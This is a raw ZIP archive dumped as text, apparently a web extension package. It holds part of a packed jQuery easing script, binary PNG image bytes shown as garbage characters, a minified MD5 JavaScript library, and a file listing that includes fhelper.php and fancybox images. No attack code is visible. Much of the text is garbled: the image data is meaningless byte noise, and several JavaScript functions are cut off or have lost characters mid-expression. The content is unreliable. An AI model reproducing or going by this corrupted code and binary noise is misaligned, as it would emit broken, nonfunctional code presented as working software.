c*8.n(t/d*(8.g/2))+b},12:9(x,t,b,c,d){6-c/2*(8.C(8.g*t/d)-1)+b},Z:9(x,t,b,c,d){6(t==0)?b:c*8.j(2,10*(t/d-1))+b},Y:9(x,t,b,c,d){6(t==d)?b+c:c*(-8.j(2,-10*t/d)+1)+b},W:9(x,t,b,c,d){e(t==0)6 b;e(t==d)6 b+c;e((t/=d/2)<1)6 c/2*8.j(2,10*(t-1))+b;6 c/2*(-8.j(2,-10*--t)+2)+b},V:9(x,t,b,c,d){6-c*(8.o(1-(t/=d)*t)-1)+b},S:9(x,t,b,c,d){6 c*8.o(1-(t=t/d-1)*t)+b},Q:9(x,t,b,c,d){e((t/=d/2)<1)6-c/2*(8.o(1-t*t)-1)+b;6 c/2*(8.o(1-(t-=2)*t)+1)+b},P:9(x,t,b,c,d){f s=1.l;f p=0;f a=c;e(t==0)6 b;e((t/=d)==1)6 b+c;e(!p)p=d*.3;e(a<8.w(c)){a=c;f s=p/4}m f s=p/(2*8.g)*8.r(c/a);6-(a*8.j(2,10*(t-=1))*8.n((t*d-s)*(2*8.g)/p))+b},H:9(x,t,b,c,d){f s=1.l;f p=0;f a=c;e(t==0)6 b;e((t/=d)==1)6 b+c;e(!p)p=d*.3;e(a<8.w(c)){a=c;f s=p/4}m f s=p/(2*8.g)*8.r(c/a);6 a*8.j(2,-10*t)*8.n((t*d-s)*(2*8.g)/p)+c+b},T:9(x,t,b,c,d){f s=1.l;f p=0;f a=c;e(t==0)6 b;e((t/=d/2)==2)6 b+c;e(!p)p=d*(.3*1.5);e(a<8.w(c)){a=c;f s=p/4}m f s=p/(2*8.g)*8.r(c/a);e(t<1)6-.5*(a*8.j(2,10*(t-=1))*8.n((t*d-s)*(2*8.g)/p))+b;6 a*8.j(2,-10*(t-=1))*8.n((t*d-s)*(2*8.g)/p)*.5+c+b},F:9(x,t,b,c,d,s){e(s==u)s=1.l;6 c*(t/=d)*t*((s+1)*t-s)+b},E:9(x,t,b,c,d,s){e(s==u)s=1.l;6 c*((t=t/d-1)*t*((s+1)*t+s)+1)+b},16:9(x,t,b,c,d,s){e(s==u)s=1.l;e((t/=d/2)<1)6 c/2*(t*t*(((s*=(1.B))+1)*t-s))+b;6 c/2*((t-=2)*t*(((s*=(1.B))+1)*t+s)+2)+b},A:9(x,t,b,c,d){6 c-h.i.v(x,d-t,0,c,d)+b},v:9(x,t,b,c,d){e((t/=d)<(1/2.k)){6 c*(7.q*t*t)+b}m e(t<(2/2.k)){6 c*(7.q*(t-=(1.5/2.k))*t+.k)+b}m e(t<(2.5/2.k)){6 c*(7.q*(t-=(2.14/2.k))*t+.11)+b}m{6 c*(7.q*(t-=(2.18/2.k))*t+.19)+b}},1b:9(x,t,b,c,d){e(tOX `pj6_,=JP(QفT999$wڢ7o|MX=}~(6mZb'Qd{ڵMAF$n}!!!c_m@WW8>p4XK$~rqVVι`4k޽{߀=8Ă_(>677wttXݑ"rAIBvϞ= D W+/_`5LO8==0%%(/]o V{>-zphh>//잂[qGVƣ/# Pަ]|K2yZHKΝ;7r `zQ2y>'N0 CJ;)bʇ[VfffVʊW;M+'8ܿL﫫e2G %,H`%]*uT`H)/p:ӰgggGȰ6|Y j'[㑑#|`Wp9 8,J pq *c[Ʀ+ª* p႙KZtsfTKH!Ra< ӹTΒQLF>6-..6[,y\2Et*: oQ)KAAݾS m4DB=p8{!},ѥr ^}ON *Y>)5`@)q1+⮋@v2` qf}{{333S/]SxOrU5:4x'O~ʕ8F{z&1۫ϮF(?._u H$w6F2kh/xDv (wmxAxur)$$I.mK-EQˀ٧:CX?q;1do1H@59IENDB`PKQB\ kk tmpl/fancybox/fancy_shadow_e.pngnuW+APNG  IHDRޒ%2IDATc```7H?x g# IENDB`PKQB\xtmpl/md5-min.jsnuW+A/* * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message * Digest Algorithm, as defined in RFC 1321. * Version 2.2 Copyright (C) Paul Johnston 1999 - 2009 * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet * Distributed under the BSD License * See http://pajhome.org.uk/crypt/md5 for more info. */ var hexcase=0;function hex_md5(a){return rstr2hex(rstr_md5(str2rstr_utf8(a)))}function hex_hmac_md5(a,b){return rstr2hex(rstr_hmac_md5(str2rstr_utf8(a),str2rstr_utf8(b)))}function md5_vm_test(){return hex_md5("abc").toLowerCase()=="900150983cd24fb0d6963f7d28e17f72"}function rstr_md5(a){return binl2rstr(binl_md5(rstr2binl(a),a.length*8))}function rstr_hmac_md5(c,f){var e=rstr2binl(c);if(e.length>16){e=binl_md5(e,c.length*8)}var a=Array(16),d=Array(16);for(var b=0;b<16;b++){a[b]=e[b]^909522486;d[b]=e[b]^1549556828}var g=binl_md5(a.concat(rstr2binl(f)),512+f.length*8);return binl2rstr(binl_md5(d.concat(g),512+128))}function rstr2hex(c){try{hexcase}catch(g){hexcase=0}var f=hexcase?"0123456789ABCDEF":"0123456789abcdef";var b="";var a;for(var d=0;d>>4)&15)+f.charAt(a&15)}return b}function str2rstr_utf8(c){var b="";var d=-1;var a,e;while(++d>>6)&31),128|(a&63))}else{if(a<=65535){b+=String.fromCharCode(224|((a>>>12)&15),128|((a>>>6)&63),128|(a&63))}else{if(a<=2097151){b+=String.fromCharCode(240|((a>>>18)&7),128|((a>>>12)&63),128|((a>>>6)&63),128|(a&63))}}}}}return b}function rstr2binl(b){var a=Array(b.length>>2);for(var c=0;c>5]|=(b.charCodeAt(c/8)&255)<<(c%32)}return a}function binl2rstr(b){var a="";for(var c=0;c>5]>>>(c%32))&255)}return a}function binl_md5(p,k){p[k>>5]|=128<<((k)%32);p[(((k+64)>>>9)<<4)+14]=k;var o=1732584193;var n=-271733879;var m=-1732584194;var l=271733878;for(var g=0;g>16)+(d>>16)+(c>>16);return(b<<16)|(c&65535)}function bit_rol(a,b){return(a<>>(32-b))};PKQB\#o,, index.htmlnuW+APKQB\a[XJ99 fhelper.phpnuW+APKQB\#o,,٦images/index.htmlnuW+APKQB\Fimages/button_refresh.gifnuW+APKQB\6߼vimages/button_select.gifnuW+APKQB\曠  zimages/infobox_bg.gifnuW+APKQB\r"a+tmpl/fancybox/fancy_title_left.pngnuW+APKQB\''-tmpl/fancybox/fancy_loading.pngnuW+APKQB\qpUtmpl/fancybox/fancybox-x.pngnuW+APKQB\#o,,Vtmpl/fancybox/index.htmlnuW+APKQB\ e=='WWtmpl/fancybox/jquery.easing-1.3.pack.jsnuW+APKQB\Ggg qtmpl/fancybox/fancy_shadow_w.pngnuW+APKQB\Ǯ!rtmpl/fancybox/fancy_nav_right.pngnuW+APKQB\\W;xtmpl/fancybox/fancybox-y.pngnuW+APKQB\ kk ytmpl/fancybox/fancy_shadow_e.pngnuW+APKQB\xXztmpl/md5-min.jsnuW+APK11c: